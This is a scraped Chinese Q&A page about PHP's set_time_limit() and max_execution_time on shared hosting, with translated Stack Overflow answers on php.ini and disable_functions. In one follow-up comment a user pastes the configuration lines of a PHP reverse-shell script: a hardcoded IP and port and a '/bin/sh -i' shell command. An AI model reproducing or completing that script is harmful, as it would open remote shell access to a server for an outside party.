PHP函数set_time_limit(0)在空间上不起作用

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP函数set_time_limit(0)在空间上不起作用相关的知识,希望对你有一定的参考价值。

有什么办法可以代替这个吗
或者说实现循环运行就可以

我自己想到一个
比如 在最后用 CURL访问一次自身
不过有时候效果并不理想,经常几分钟后就不在运行了

希望找到更好的办法

参考技术A 虚拟主机?可能你的提供商设置了,

超过30S的web程序是不健康的,你可以使用ajax来实现。追问

没错,是虚拟主机,程序每次只能运行60秒

这个程序的作用是在服务器上循环获取某个游戏的开奖信息,之后写入数据库

程序必须每隔5秒就去获取开奖信息

ajax需要用户的浏览器一直在线,这显然是不现实的

追答

你可以使用SAE的定时任务

本回答被提问者和网友采纳

PHP中关于set_time_limit()函数的3个问题

【中文标题】PHP中关于set_time_limit()函数的3个问题【英文标题】:3 questions about set_time_limit() function in PHP 【发布时间】:2014-08-20 07:07:16 【问题描述】:

我有 3 个关于 PHP 中的 set_time_limit() 函数的问题:

    当用户没有权限访问 PHP.ini 时,他可以更改 set_time_limit() 函数的值吗? 如何停止重启 set_time_limit() 函数? 其他方式:我不想运行set_time_limit()。我能做什么?

【问题讨论】:

我不明白你的意思!如果我说不好我的英语不好! 他说的是你在问题中的全部大写。在互联网上,这是在大喊大叫。 1:是的,除非 PHP 在安全模式下运行,否则用户可以使用 set_time_limit()。 2/3:您是否正在运行服务器并且想要防止其他用户覆盖超时?如果是这样,您可以使用 php.ini 中的 disabled_functions 指令来关闭 set_time_limit。这样,用户将无法调用该函数。 @shaunc 如果您要回答问题,请将其发布为答案,而不是评论。 【参考方案1】:

到1:

是的,即使用户无权访问 php.ini,也可以调用该函数。您可以在 5.4 中使用 safe_mode(DEPRECATEDREMOVED) 或 disabled_functions ini 指令来避免这种情况。但是,set_time_limit 具有潜在的误导性(请阅读下文)。如果您不想更改 php.ini,则可以在 Web 上下文中设置服务器级别的最大响应时间或使用的 cgi 配置。

对 2 也回答 3: 禁用该功能和/或设置max_execution_time

注意set_time_limit 计算当前运行的 php 脚本的执行时间,不是脚本等待外部资源的时间(Windows 上当然例外)。

【讨论】:

感谢您的回答:x 第一个人(在上面)说我们无法访问 php.ini,所以我们无法更改!但我没有完全得到你对第一个问题的回答!我怎么能不允许用户更改值? 并且在回答问题 2 和 3 时,如果我在值中输入一个巨大的数字,这不会有问题吗?或者我可以使用其他任何东西?什么是 max_execution?怎么能用呢?非常感谢:X 如果您可以控制服务器,您可以禁用 php.ini 中的某些功能。对 php.ini 的访问基于普通文件系统权限。但是,有许多 php.ini 选项可以在运行时设置(列表here)。 max_execution_timeset_time_limit() 的 php.ini 对应项。将max_execution_time 设置为较高的值通常不是问题,因为 apache/iis 会中止长时间运行的请求。 谢谢!我懂了 ! :x 我还有一个问题!您说我们可以更改 php.ini 中的 set_time_limit() 。看看这个脚本: set_time_limit (0); $VERSION = "1.0"; $ip = '151.233.143.114'; // 改变这个 $port = 443; // 改变这个 $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; ID; /bin/sh -i'; $守护进程 = 0; $调试 = 0;没有 php.ini 在这里!这怎么办?非常感谢:x 某处可能涉及到 php.ini。查看phpinfo() 的结果以找到它。无论如何,如果你有一个与这个无关的问题,你应该问一个新的,如果那不会是重复的。找到它的方法已经是 here【参考方案2】:

PHP Manual - set_time_limit function 的set_time_limit 函数很容易回答您的三个问题。

1 - 只有在没有权限通过文件系统更改 php.ini 时,用户才无权更改 php.ini

2 和 3 - 如果您有正确的权限,您可以更改 php.ini 上的 max_execution_time。给它一个巨大的价值(虽然不推荐)

【讨论】:

以上是关于PHP函数set_time_limit(0)在空间上不起作用的主要内容,如果未能解决你的问题,请参考以下文章

用户在 set_time_limit PHP 时定义函数调用

php 超时 - set_time_limit(0); - 不工作

php set_time_limit()用法测试详解

PHP修改脚本最大执行时间和最大内存限制

PHPm-code2

PHPm-code2